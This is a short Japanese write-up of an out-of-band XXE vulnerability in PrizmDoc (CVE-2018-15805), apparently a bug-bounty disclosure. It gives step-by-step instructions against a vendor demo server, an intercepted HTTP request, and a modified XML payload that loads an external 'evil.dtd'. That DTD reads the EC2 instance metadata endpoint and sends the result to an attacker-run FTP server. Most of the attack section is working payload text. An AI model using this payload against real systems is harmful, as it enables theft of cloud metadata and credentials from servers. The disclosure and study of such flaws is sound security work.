Hello there, ('ω')ノ
PrizmDoc の OOB XXE (CVE-2018–15805)を。
脆弱性:
XXE
記事:
https://blog.niksthehacker.com/oob-xxe-in-prizmdoc-cve-2018-15805-dfb1e474345c
PrizmDoc について:
PrizmDoc は Web ベースのオンライン ドキュメント ビューアであり、
任意の Web ページに埋め込んだり、任意の Web サイトからリンクしたりできて。
表示されているクライアントは、AJAX テクノロジーを使用してサーバと通信し、
オンザフライでコンテンツの高速レンダリングを作成して。
脆弱性:
XML 外部エンティティ攻撃は、XML 入力を解析するアプリケーションに
対する攻撃の一種で。
この攻撃は、機密データの漏洩、サービス妨害、サーバ側のリクエスト偽造、
パーサーが配置されているマシンの観点からのポート スキャン、
およびその他のシステムへの影響につながる可能性があって。
脆弱なシステム:
PrizmDoc < 13.5
当初、これをいくつかのバグ報奨金プログラム
(prizmdoc の古いバージョンで) で発見しましたが、後で prizmdoc の
最新バージョンでテストした後はゼロデイであることに気付いて。
テスト サーバがなかったため、ここにあるデモ サーバで
POC のテストを実行して。
https://www.accusoft.com/demos/file-type-demo/
エクスプロイト:
1.URL を参照して。
https://www.accusoft.com/demos/file-type-demo/
2.ビューアまで下にスクロールして。
3.「ダウンロード」をクリックして。
4.[PDF としてダウンロード] を選択し、
編集に対応するチェックボックスをオンにして。
5.「ダウンロード」をクリックして。
6.Burp Suiteを使用してリクエストをインターセプトすると、
リクエストは次のようになり。
POST /pcc/ViewingSession/ud6e8-z6riLGCd8LEK-08IonE_yHaGKTl3npOe2Z2dfJ_qnX5YVH2HT2BtFySMgBxT41T9CKW_YG_ilHEFwDhPra9NpkapKoxPWEk2FC 5Zk/MarkupBurner HTTP/1.1
Host: pcc-demos.accusoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Accusoft-Gid: GYiW8kmOutLSMTRWwxC45w
Accusoft-Parent-Name: ViewerControl
Accusoft-Parent-Pid: 0
Accusoft-Parent-Taskid: 0
Referer: https://www.accusoft.com/demos/file-type-demo/
Content-Length: 413
Origin: https://www.accusoft.com
Connection: close
<documentAnnotations><pages>
<page id=”1" pageWidth=”1440" pageHeight=”810"></page><page id=”2" pageWidth=”1440"
pageHeight=”810"></page><page id=”3" pageWidth=”1440"
pageHeight=”810"></page><page id=”4" pageWidth=”1440"
pageHeight=”810"></page></pages><highlights /></documentAnnotations>
7.上記のリクエストを変更して、次のような外部 DTD を含めて。
<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE a [ <!ENTITY % asd SYSTEM “http://external.url/evil.dtd"> %asd; %c;]>
<documentAnnotations>&rrr;<pages>
<page id=”1" pageWidth=”1440" pageHeight=”810"></page><page id=”2" pageWidth=”1440"
pageHeight=”810"></page><page id=”3" pageWidth=”1440"
pageHeight=”810"></page><page id=”4" pageWidth=”1440"
pageHeight=”810"></page></pages><highlights /></documentAnnotations>
8.上記のペイロードでは、dtd ファイルを含む外部 URL を指すエンティティを
含む外部 DTD を定義し、そのエンティティを &rrr; として呼び出して。
<documentAnnotations>
DTD ファイルは次のようになって。
Evil.dtd:
<!ENTITY % d SYSTEM “http://169.254.169.254/latest/meta-data/hostname">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
セットアップ後、ポート上でエミュレートされた FTP サーバを実行し、
このポートがバック接続用に evil.dtd に記載されていることを確認して。
<!ENTITY rrr SYSTEM ‘ftp://your-vps-ip:2121/%d;'>">
8.次に、ステップ 6 に示すように http リクエストを、ステップ 7 に示す
XXE ペイロードを使用して変更し、スクリーンショットに示すように再生して。
FTP サーバに注目するとスクリーンショットに示すように、
EC2 メタデータを使用したバック接続を受信して。
Best regards, (^^ゞ